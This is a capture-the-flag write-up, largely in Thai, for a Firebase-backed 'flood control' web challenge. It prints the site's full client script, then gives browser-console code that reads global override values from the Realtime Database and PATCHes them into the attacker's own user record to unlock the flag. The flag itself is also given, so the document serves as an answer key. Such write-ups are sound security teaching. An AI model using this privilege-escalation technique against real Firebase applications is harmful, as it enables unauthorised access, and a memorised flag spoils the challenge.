# **🔥 STH Mini Web CTF 2025/2 🔥** ![image](https://hackmd.io/_uploads/S12UGLFlbx.png) ![image](https://hackmd.io/_uploads/rJn_MLKeWl.png) ![image](https://hackmd.io/_uploads/S1QqGIYlbx.png) Challenge: Web Author: TORTY Flag: 'STH{2d63e3e02c8dd1819494468973af1730}' ![image](https://hackmd.io/_uploads/B1uKLcFxZl.png) # 🛰️ Flood Control – Firebase Mission Override Abuse ## 1. 🔎 Challenge Overview ![image](https://hackmd.io/_uploads/rkheUwFeZe.png) เรามาเริ่มจากการ view-source กันก่อนว่ามีข้อมูลอะไรที่เราสามารถดูได้บ้าง `view-source:https://minictf2.p7z.pw/` ![image](https://hackmd.io/_uploads/r1bCLwFxbg.png) เราจะพบว่ามีการเรียกไฟล์ `/assets/script.js` และมีข้อมูลของ `firebase` เว็บเป็นระบบ “ควบคุมสถานีระบายน้ำกรุงเทพฯ” มีฟีเจอร์ดังนี้: - สมัคร/ล็อกอินด้วย Firebase Auth - อ่านข้อมูลสถานีระบายน้ำ - มี UI ส่วน “Flood Response Token” (flag) - Flag จะต้องได้จาก /api/flag.php ## 2. 🔍 Source Code Analysis `Source Code https://minictf2.p7z.pw/assets/script.js` ``` import { initializeApp } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-app.js'; import { getAuth, onAuthStateChanged, createUserWithEmailAndPassword, signInWithEmailAndPassword, signOut, updateProfile } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-auth.js'; import { getDatabase, ref, set, update, onValue, get } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-database.js'; const cfg = JSON.parse(document.getElementById('firebase-config').textContent); const app = initializeApp(cfg); const auth = getAuth(app); const db = getDatabase(app, cfg.databaseURL); const registerForm = document.getElementById('register-form'); const loginForm = document.getElementById('login-form'); const logoutBtn = document.getElementById('logout-btn'); const authMessage = document.getElementById('auth-message'); const profileCard = document.getElementById('profile-card'); const statusCard = document.getElementById('status-card'); const stationsCard = document.getElementById('stations-card'); const adminCard = document.getElementById('admin-card'); const profileEmail = document.getElementById('profile-email'); const profileRole = document.getElementById('profile-role'); const stationsBody = document.getElementById('stations-body'); const averageLevel = document.getElementById('average-level'); const drainageStatus = document.getElementById('drainage-status'); const statusLog = document.getElementById('status-log'); const floodBanner = document.getElementById('flood-banner'); const toggleBtn = document.getElementById('toggle-drainage'); const adminHint = document.getElementById('admin-hint'); const flagPanel = document.getElementById('flag-panel'); const flagValue = document.getElementById('flag-value'); const authCard = document.getElementById('auth-card'); const missionChannelEl = document.getElementById('mission-channel'); let userRole = 'citizen'; let currentStatus = 'open'; let flagFetched = false; let profileUnsub = null; let userOverrideChannel = ''; let userOverrideKey = ''; let userBadge = 'standard'; let hasControlUnlocked = false; let lastFlagReason = null; let userControlsUnsub = null; let globalControlsUnsub = null; const globalMission = { overrideChannel: '', overrideToken: '', missionWindow: 'normal', }; let lastUserControlSnapshot = null; let globalControlsInitiated = false; const defaultControlState = () => ({ drainageStatus: 'open', averageLevel: 1.24, statusMessage: 'ระบบเปิดประตูระบายน้ำทั้งหมดในโหมดรักษาเสถียร', updatedBy: 'system@sth.local', lastUpdated: new Date().toISOString(), }); registerForm?.addEventListener('submit', async (e) => { e.preventDefault(); const form = new FormData(registerForm); const email = form.get('email'); const password = form.get('password'); const displayName = (email || '').split('@')[0] || 'ผู้ใช้งาน'; try { const cred = await createUserWithEmailAndPassword(auth, email, password); await updateProfile(cred.user, { displayName }); await set(ref(db, `users/${cred.user.uid}`), { displayName, email, role: 'citizen', controlUnlocked: false, createdAt: new Date().toISOString() }); await set(ref(db, `controls/users/${cred.user.uid}`), defaultControlState()); authMessage.textContent = 'สมัครสมาชิกสำเร็จแล้ว กรุณาเข้าสู่ระบบ'; } catch (error) { authMessage.textContent = `เกิดข้อผิดพลาด: ${error.message}`; } }); loginForm?.addEventListener('submit', async (e) => { e.preventDefault(); const form = new FormData(loginForm); const email = form.get('email'); const password = form.get('password'); try { await signInWithEmailAndPassword(auth, email, password); authMessage.textContent = ''; } catch (error) { if (error?.code === 'auth/invalid-credential') { authMessage.textContent = 'ชื่อผู้ใช้งานหรือรหัสผ่านไม่ถูกต้อง'; } else { authMessage.textContent = `เข้าสู่ระบบไม่ได้: ${error.message}`; } } }); logoutBtn?.addEventListener('click', () => signOut(auth)); onAuthStateChanged(auth, async (user) => { if (user) { authCard.style.display = 'none'; profileCard.style.display = 'block'; statusCard.style.display = 'block'; stationsCard.style.display = 'block'; profileEmail.textContent = user.email; logoutBtn.style.display = 'inline-block'; await subscribeProfile(user); fetchStations(user); watchGlobalControls(); watchUserControls(user); } else { authCard.style.display = 'block'; profileCard.style.display = 'none'; statusCard.style.display = 'none'; stationsCard.style.display = 'none'; adminCard.style.display = 'none'; logoutBtn.style.display = 'none'; if (profileUnsub) { profileUnsub(); profileUnsub = null; } if (userControlsUnsub) { userControlsUnsub(); userControlsUnsub = null; } if (globalControlsUnsub) { globalControlsUnsub(); globalControlsUnsub = null; } globalMission.overrideChannel = ''; globalMission.overrideToken = ''; globalMission.missionWindow = 'normal'; globalControlsInitiated = false; flagPanel.classList.remove('active'); flagValue.textContent = 'รอสถานะน้ำล้นตลิ่ง...'; flagFetched = false; if (missionChannelEl) { missionChannelEl.textContent = '-'; } stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>'; } }); async function subscribeProfile(user) { if (profileUnsub) { profileUnsub(); } const userRef = ref(db, `users/${user.uid}`); profileUnsub = onValue(userRef, (snapshot) => { const data = snapshot.val() || {}; userRole = data.role || 'citizen'; profileRole.textContent = userRole.toUpperCase(); hasControlUnlocked = Boolean(data.controlUnlocked); userOverrideChannel = data.overrideChannel || ''; userOverrideKey = data.overrideKey || ''; userBadge = data.badge?.toUpperCase?.() || 'STANDARD'; if (userRole === 'admin' && hasControlUnlocked) { adminCard.style.display = 'block'; adminHint.textContent = 'คุณมีสิทธิ์ควบคุมการเปิด-ปิด ระบบระบายน้ำ'; } else { adminCard.style.display = 'none'; } }); } async function fetchStations(currentUser = null) { const targetUser = currentUser || auth.currentUser; if (!targetUser) { stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>'; return; } try { const token = await targetUser.getIdToken(); const res = await fetch('/api/stations.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ idToken: token }), }); if (!res.ok) { throw new Error('error loading stations'); } const data = await res.json(); const rows = data.stations.map((station) => ` <tr> <td><strong>${station.name_th}</strong><br><small>${station.name_en}</small></td> <td>${station.canal}</td> <td>${station.district}</td> <td>${Number(station.average_level).toFixed(2)}</td> <td>${station.pumps_online} เครื่อง</td> <td><span class="status-pill ${station.gate_status === 'เปิด' ? 'status-open' : 'status-closed'}">${station.gate_status}</span></td> </tr>`).join(''); stationsBody.innerHTML = rows; if (data.averageLevel) { averageLevel.textContent = Number(data.averageLevel).toFixed(2); } } catch (error) { stationsBody.innerHTML = '<tr><td colspan="6">ไม่สามารถโหลดข้อมูลสถานีได้</td></tr>'; } } function watchUserControls(user) { if (userControlsUnsub) { userControlsUnsub(); } const userControlsRef = ref(db, `controls/users/${user.uid}`); userControlsUnsub = onValue(userControlsRef, (snapshot) => { const info = snapshot.val() || defaultControlState(); currentStatus = info.drainageStatus || 'open'; drainageStatus.textContent = currentStatus === 'open' ? 'เปิดระบายน้ำ' : 'ปิดระบายน้ำ'; averageLevel.textContent = info.averageLevel ? Number(info.averageLevel).toFixed(2) : '-'; statusLog.textContent = info.statusMessage || 'รอข้อมูล'; floodBanner.classList.toggle('hidden', currentStatus !== 'closed'); toggleBtn.textContent = currentStatus === 'open' ? 'ปิดระบบระบายน้ำชั่วคราว' : 'เปิดระบบระบายน้ำ'; flagPanel.classList.remove('active'); flagFetched = false; lastUserControlSnapshot = info; if (currentStatus === 'closed' && userRole === 'admin' && !hasControlUnlocked) { hasControlUnlocked = true; const userRef = ref(db, `users/${user.uid}`); update(userRef, { controlUnlocked: true }).catch(() => {}); } evaluateFlagState({ trigger: 'user-control' }); }); } if (toggleBtn) { toggleBtn.addEventListener('click', async () => { if (userRole !== 'admin') { alert('คุณไม่มีสิทธิ์ควบคุมระบบ'); return; } const user = auth.currentUser; if (!user) { return; } const newStatus = currentStatus === 'open' ? 'closed' : 'open'; const statusText = newStatus === 'closed' ? 'คำสั่งปิดประตูระบายน้ำทั้งหมดเพื่อทดสอบระบบน้ำท่วม' : 'กลับมาเปิดระบายน้ำตามปกติ'; await update(ref(db, `controls/users/${user.uid}`), { drainageStatus: newStatus, statusMessage: statusText, averageLevel: newStatus === 'closed' ? 2.05 : 1.24, updatedBy: user.email, lastUpdated: new Date().toISOString(), }); if (newStatus === 'closed') { requestFlag(); } }); } const staffActionEnvelope = ({ endpoint, detail, level, meta }) => ({ endpoint, detail: detail ? String(detail) : 'queued', level: level || 'field', meta: meta || {}, }); const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); const randomJitter = () => Math.floor(Math.random() * 120); function evaluateFlagState(context = {}) { const missionReady = Boolean( globalMission.overrideChannel && globalMission.overrideToken && userOverrideChannel && userOverrideKey && globalMission.overrideChannel === userOverrideChannel && globalMission.overrideToken === userOverrideKey && globalMission.missionWindow === 'override' ); const canAdmin = currentStatus === 'closed' && userRole === 'admin'; if (canAdmin || missionReady) { requestFlag({ missionReady, canAdmin, ...context }); } } function watchGlobalControls(force = false) { if (globalControlsInitiated && !force) { return; } if (globalControlsUnsub) { globalControlsUnsub(); globalControlsUnsub = null; } const globalRef = ref(db, 'controls/global'); globalControlsUnsub = onValue(globalRef, (snapshot) => { const info = snapshot.val() || {}; globalMission.overrideChannel = info.overrideChannel || ''; globalMission.overrideToken = info.overrideToken || ''; globalMission.missionWindow = info.missionWindow || 'normal'; if (missionChannelEl) { missionChannelEl.textContent = globalMission.overrideChannel || '-'; } evaluateFlagState({ trigger: 'global-control' }); }); globalControlsInitiated = true; } async function postAdminAction(path, payload, meta = {}) { const envelopeMeta = { ...meta, jitter: randomJitter() }; await sleep(envelopeMeta.jitter); const issuedAt = new Date().toISOString(); if (payload?.dryRun) { return { dryRun: true, meta: envelopeMeta }; } try { const res = await fetch(path, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ...payload, issuedAt }), }); if (!res.ok) { throw new Error(`${path} rejected`); } const data = await res.json(); return { ...data, meta: envelopeMeta }; } catch (error) { return staffActionEnvelope({ endpoint: path.replace('/api/admin/', ''), detail: error, level: meta.level || 'ops', meta: envelopeMeta, }); } } const deterministicShuffle = (items, salt = 0) => { const clone = [...items]; for (let i = clone.length - 1; i > 0; i -= 1) { const j = (i + salt + clone[i].toString().length) % clone.length; [clone[i], clone[j]] = [clone[j], clone[i]]; } return clone; }; function deriveSeverity(metrics = []) { if (!metrics.length) { return { score: 0, status: 'idle' }; } const sum = metrics.reduce((acc, value) => acc + Number(value || 0), 0); const avg = sum / metrics.length; switch (true) { case avg > 75: return { score: avg, status: 'critical' }; case avg > 45: return { score: avg, status: 'warning' }; default: return { score: avg, status: 'normal' }; } } async function meteorologicalAdvisorBridge(payload = {}) { const horizon = payload.horizon ?? ['3h', '6h', '12h'][Math.floor(Math.random() * 3)]; let bias = 0; for (let i = 0; i < horizon.length; i += 1) { bias += horizon.charCodeAt(i) % 5; } const blendScore = Number(((payload.blendScore || 0.4) + bias / 100).toFixed(2)); const severity = deriveSeverity([blendScore * 100, bias]); const adjusted = { ...payload, horizon, flag: 'forecast', blendScore, severity, }; return postAdminAction('/api/admin/meteorology/advisor-bridge', adjusted, { level: 'strategic' }); } async function requestFlag(context = {}) { if (flagFetched && !context.force) { return; } const user = auth.currentUser; if (!user) { return; } try { const token = await user.getIdToken(); const res = await fetch('/api/flag.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ idToken: token, channel: context.missionReady ? 'mission' : 'admin', }) }); if (!res.ok) { flagValue.textContent = 'ยังไม่ได้รับสิทธิ์แสดง Token'; return; } const data = await res.json(); flagFetched = true; flagPanel.classList.add('active'); flagValue.textContent = data.flag; lastFlagReason = context.missionReady ? 'mission' : 'admin'; } catch (error) { flagValue.textContent = 'ไม่สามารถเรียกดู Token ได้'; } } async function fieldPumpDispatch(payload = {}) { const unit = payload.unit || `FS-${Math.floor(Math.random() * 9) + 1}`; const crews = []; for (let index = 1; index <= 3; index += 1) { crews.push(`${unit}-C${index}`); } const routing = deterministicShuffle(crews, unit.length).slice(0, 2); return postAdminAction('/api/admin/field/pump-dispatch', { ...payload, unit, crews, routing }, { level: 'ops' }); } async function tacticalTelemetryAudit(payload = {}) { const sampled = Array.isArray(payload.nodes) ? payload.nodes.slice(0, 4) : []; const anomalies = sampled.map((node) => ({ node, variance: Number(Math.random().toFixed(3)), })); return postAdminAction('/api/admin/tactical/telemetry-audit', { ...payload, sampled, anomalies }, { level: 'audit' }); } async function seniorHydrologyOverride(payload = {}) { const overrideLoad = (payload.delta ?? 0) * -1; const curve = (() => { if (overrideLoad < 0) return 'release'; if (overrideLoad === 0) return 'steady'; return 'retain'; })(); return postAdminAction('/api/admin/hydraulics/override', { ...payload, priority: 'policy', overrideLoad, curve }, { level: 'director' }); } async function groundResponseCoord(payload = {}) { const sector = payload.sector || ['north', 'south', 'east', 'west'][Math.floor(Math.random() * 4)]; const ops = { teams: [], priority: sector === 'north' ? 'high' : 'normal' }; for (let idx = 0; idx < 2; idx += 1) { ops.teams.push(`${sector.toUpperCase()}-${idx + 1}`); } return postAdminAction('/api/admin/ground/response-coord', { ...payload, sector, ops }, { level: 'field' }); } async function publicCommsSignal(payload = {}) { const windowHint = (payload.windowHint || '3h').toUpperCase(); const template = windowHint === '3H' ? 'brief' : 'extended'; return postAdminAction('/api/admin/public/comms-signal', { ...payload, windowHint, template }, { level: 'comms' }); } async function maintenanceOverride(payload = {}) { const rotation = (payload.rotation || 0) + 1; const status = rotation % 2 === 0 ? 'service' : 'standby'; return postAdminAction('/api/admin/maintenance/override', { ...payload, unit: 'MECH-77', rotation, status }, { level: 'mechanical' }); } async function complianceTelemetryProbe(payload = {}) { const checksum = btoa(JSON.stringify(payload).slice(0, 8)); return postAdminAction('/api/admin/compliance/telemetry-probe', { ...payload, checksum, retries: payload.retries || 0 }, { level: 'compliance' }); } async function situationalAwarenessPing(payload = {}) { const coverage = Math.min(100, (payload.coverage || 52) + Math.floor(Math.random() * 10)); const report = coverage > 80 ? 'green' : coverage > 60 ? 'yellow' : 'amber'; return postAdminAction('/api/admin/situational/awareness-ping', { ...payload, coverage, report }, { level: 'intel' }); } async function reservoirVectorPulse(payload = {}) { const amplitude = Number(payload.amplitude || 1.4) * (Math.random() + 0.5); const nodes = (payload.nodes || ['A', 'B', 'C']).map((node, idx) => `${node}-${idx + 1}`); return postAdminAction('/api/admin/reservoir/vector-pulse', { ...payload, amplitude, nodes }, { level: 'hydrology' }); } async function canalReliefBalancing(payload = {}) { const reliefRatio = ((payload.reliefRatio ?? 0.65) + Math.random() * 0.1).toFixed(2); const modes = ['pulse', 'steady', 'reverse']; const mode = modes[Math.floor(Number(reliefRatio) * 10) % modes.length]; return postAdminAction('/api/admin/canal/relief-balancing', { ...payload, reliefRatio, mode }, { level: 'network' }); } async function sluiceRealtimeShadow(payload = {}) { const mirrors = (payload.mirrors || []).concat(`SL-${Date.now() % 1000}`); const sync = mirrors.length > 3; return postAdminAction('/api/admin/sluice/realtime-shadow', { ...payload, mirrors, sync }, { level: 'engineer' }); } async function pumpDockTelemetryRefresh(payload = {}) { const refreshToken = crypto.randomUUID?.() || `dock-${Date.now()}`; const attempts = payload.attempts ?? 1; return postAdminAction('/api/admin/pump-dock/telemetry-refresh', { ...payload, refreshToken, attempts }, { level: 'dockmaster' }); } async function leveeSensorBroadcast(payload = {}) { const mesh = payload.mesh || `LV-${Math.floor(Math.random() * 50)}`; const sensors = Array.from({ length: 5 }, (_, idx) => `${mesh}-${idx + 1}`); return postAdminAction('/api/admin/levee/sensor-broadcast', { ...payload, mesh, sensors }, { level: 'structural' }); } async function floodwayOpsHeartbeat(payload = {}) { const region = payload.region || 'metro'; const heartbeat = Date.now(); const phase = heartbeat % 2 === 0 ? 'even' : 'odd'; return postAdminAction('/api/admin/floodway/ops-heartbeat', { ...payload, region, heartbeat, phase }, { level: 'operations' }); } async function evacuationOverlaySync(payload = {}) { const overlay = payload.overlay || 'city-grid'; const slices = (payload.slices || 4) + 1; const style = slices > 5 ? 'grid' : 'sector'; return postAdminAction('/api/admin/evacuation/overlay-sync', { ...payload, overlay, slices, style }, { level: 'public-safety' }); } async function logisticsFuelRequisition(payload = {}) { const depot = payload.depot || `LOG-${String.fromCharCode(65 + Math.floor(Math.random() * 4))}`; const liters = payload.liters || Math.round(Math.random() * 8000) + 2000; return postAdminAction('/api/admin/logistics/fuel-requisition', { ...payload, depot, liters }, { level: 'logistics' }); } async function instrumentationIntegritySweep(payload = {}) { const profile = payload.profile || `INT-${Math.floor(Math.random() * 99)}`; const schedule = new Date(Date.now() + 3600 * 1000).toISOString(); return postAdminAction('/api/admin/instrumentation/integrity-sweep', { ...payload, profile, schedule }, { level: 'sensors' }); } async function rainfallNowcastingBlend(payload = {}) { const model = payload.model || 'blend-v3'; const weights = (payload.weights || [0.5, 0.3, 0.2]).map((w, idx) => { const noise = (Math.sin(Date.now() / 1000 + idx) + 1) / 20; return Number((w + noise).toFixed(2)); }); return postAdminAction('/api/admin/rainfall/nowcasting-blend', { ...payload, model, weights }, { level: 'forecast' }); } async function climateReserveFallback(payload = {}) { const scenario = payload.scenario || `fallback-${Math.floor(Math.random() * 3) + 1}`; const tier = scenario.includes('2') ? 'elevated' : 'baseline'; return postAdminAction('/api/admin/climate/reserve-fallback', { ...payload, scenario, tier }, { level: 'resilience' }); } const backgroundRoutines = [ meteorologicalAdvisorBridge, fieldPumpDispatch, rainfallNowcastingBlend, tacticalTelemetryAudit, logisticsFuelRequisition, seniorHydrologyOverride, complianceTelemetryProbe, maintenanceOverride, canalReliefBalancing, pumpDockTelemetryRefresh, ]; const scheduleDryRunSweep = (reason) => { const salt = reason === 'hidden' ? 7 : reason === 'visible' ? 3 : 5; const subset = deterministicShuffle(backgroundRoutines, salt).slice(0, 3); subset.forEach((fn, index) => { fn({ dryRun: true, reason, window: index }).catch(() => {}); }); }; document.addEventListener('visibilitychange', () => { scheduleDryRunSweep(document.hidden ? 'hidden' : 'visible'); }); setTimeout(() => scheduleDryRunSweep('startup'), 1800); window.drainageOps = Object.freeze({ meteorologicalAdvisorBridge, fieldPumpDispatch, tacticalTelemetryAudit, seniorHydrologyOverride, groundResponseCoord, publicCommsSignal, maintenanceOverride, complianceTelemetryProbe, situationalAwarenessPing, reservoirVectorPulse, canalReliefBalancing, sluiceRealtimeShadow, pumpDockTelemetryRefresh, leveeSensorBroadcast, floodwayOpsHeartbeat, evacuationOverlaySync, logisticsFuelRequisition, instrumentationIntegritySweep, rainfallNowcastingBlend, climateReserveFallback, scheduleDryRunSweep, requestFlag, }); ``` หลังตรวจโค้ดพบว่า flag จะถูกส่งเมื่อ `channel = "mission"` และ user ต้องมีค่า override ตรงกับ global override ใน Firebase DB เป้าหมาย → ปลอมตัวเป็น `“mission override”` โดยเขียนค่าบางอย่างใน Firebase ให้ตรงกับ global ฝั่ง client มีฟังก์ชันขอ flag: `window.drainageOps.requestFlag({ missionReady: true, force: true });` แต่ถ้าเรียกโดยตรง → `403 Forbidden` เพราะ backend ไม่เชื่อ missionReady จาก client missionReady ถูกคำนวณตามนี้: `missionReady = (global.overrideChannel === user.overrideChannel) && (global.overrideToken === user.overrideKey) && (global.missionWindow === "override")` ## 3. 🧠 Key Insight — ใช้ Firebase Realtime Database Firebase config ถูก embed ในหน้าเว็บ: ![image](https://hackmd.io/_uploads/H1x25DKlWx.png) `"databaseURL": "https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app"` หมายความว่า: ✔ เราสามารถยิง REST API ไปอ่าน/เขียน DB ได้ตราบใดที่เรามี Firebase ID Token ของ user ที่ login อยู่ ✔ ต้องดึงค่า override จาก globalที่ path `controls/global` ✔ จากนั้น patch ค่าเข้า `users/<uid>` ## 4. 🛠️ Step-by-Step Exploit ### 4.1 หยุด script เพื่อดึง Firebase instance ออกมา เปิด DevTools แล้วไปที่ `Sources` เลือกเปิด `assets/script.js` ![ภาพถ่ายหน้าจอ 2568-11-18 เวลา 10.45.03](https://hackmd.io/_uploads/BJQNpDYgbg.png) จากนั้นวาง BreakPoint ที่ `const app = initializeApp(cfg);` ![image](https://hackmd.io/_uploads/ByaDpDtxbx.png) เมื่อวาง BreakPoint แล้วให้ทำการ Refresh หน้าเว็บแล้ว Script จะหยุด ![messageImage_1763438117053](https://hackmd.io/_uploads/B188ADtgZg.jpg) จากนั้นกด `Step over next function call` หรือกด `F10` สามครั้ง เพื่อรันผ่าน: ``` app = initializeApp() auth = getAuth() db = getDatabase() ``` ![messageImage_1763438561537](https://hackmd.io/_uploads/SJ1Mx_tl-l.jpg) เมื่อรันผ่านตอนนี้ตัวแปร app / auth / db อยู่ใน scope แล้วใช้ Console ผูกเข้ากับ window: พิมคำสั่งข้างล่างทีละบรรทัดใน Console ``` window.__app = app; window.__auth = auth; window.__db = db; ``` ![messageImage_1763438912357](https://hackmd.io/_uploads/ByodW_FgWg.jpg) จากนั้นกด Resume Script execution หรือกด F8 ![image](https://hackmd.io/_uploads/HyJpZOteZl.png) ### 4.2 Login ด้วย user ปกติ 1 ครั้ง Login ด้วย User ปกติที่สมัครใหม่ ![messageImage_1763438912357 (1)](https://hackmd.io/_uploads/SyxpMutlZe.jpg) จากนั้นไปที่ Console ให้พิมคำสั่งข้างล่างเพื่อเช็ค User ควรเห็น object ของ `User` ``` window.__auth.currentUser ``` ![ภาพถ่ายหน้าจอ 2568-11-18 เวลา 11.26.01](https://hackmd.io/_uploads/rkhtHOFl-l.png) ### 4.3 อ่าน global override จาก Firebase ![image](https://hackmd.io/_uploads/S1rEvdYxZe.png) ให้พิมคำสั่งข้างล่างนี้เพื่ออ่าน global override ``` (async () => { while (!window.__auth.currentUser) { await new Promise(r => setTimeout(r, 500)); } const idToken = await window.__auth.currentUser.getIdToken(); const url = 'https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/controls/global.json?auth=' + idToken; const r = await fetch(url); const data = await r.json(); console.log('global =', data); })(); ``` ผลลัพธ์จริงที่ได้: ``` { missionWindow:"override", overrideChannel: "ops-override", overrideToken: "test-token-123" } ```` ### 4.4 เขียนค่า override ให้ user ของเรา ให้พิมคำสั่งข้างล่างนี้เพื่อเขียนค่า override ให้ user ของเรา ![image](https://hackmd.io/_uploads/HycPwdKgZx.png) ``` (async () => { const user = window.__auth.currentUser; const idToken = await user.getIdToken(); const body = { overrideChannel: 'ops-override', overrideKey: 'test-token-123' }; const url = `https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/users/${user.uid}.json?auth=${idToken}`; const r = await fetch(url, { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body), }); console.log('update result =', await r.json()); })(); ``` ผลลัพธ์: ``` { "overrideChannel": "ops-override", "overrideKey": "test-token-123" } ``` ตอนนี้ user ของเรามี `mission override` ตรงกับ `global` แล้ว `= missionReady = true` ### 4.5 เรียก flag ผ่าน client function ใช้คำสั่งข้างล่างใน Console เพื่อเรียก flag ผ่าน client function ``` window.drainageOps.requestFlag({ missionReady: true, force: true }); ``` ![image](https://hackmd.io/_uploads/BJnj0YKgZl.png) ดึงผ่าน console: ``` document.getElementById('flag-value').textContent; ``` ![image](https://hackmd.io/_uploads/HJD0CYKx-e.png) ## 5. 🎉 Flag The flag is : `STH{2d63e3e02c8dd1819494468973af1730}`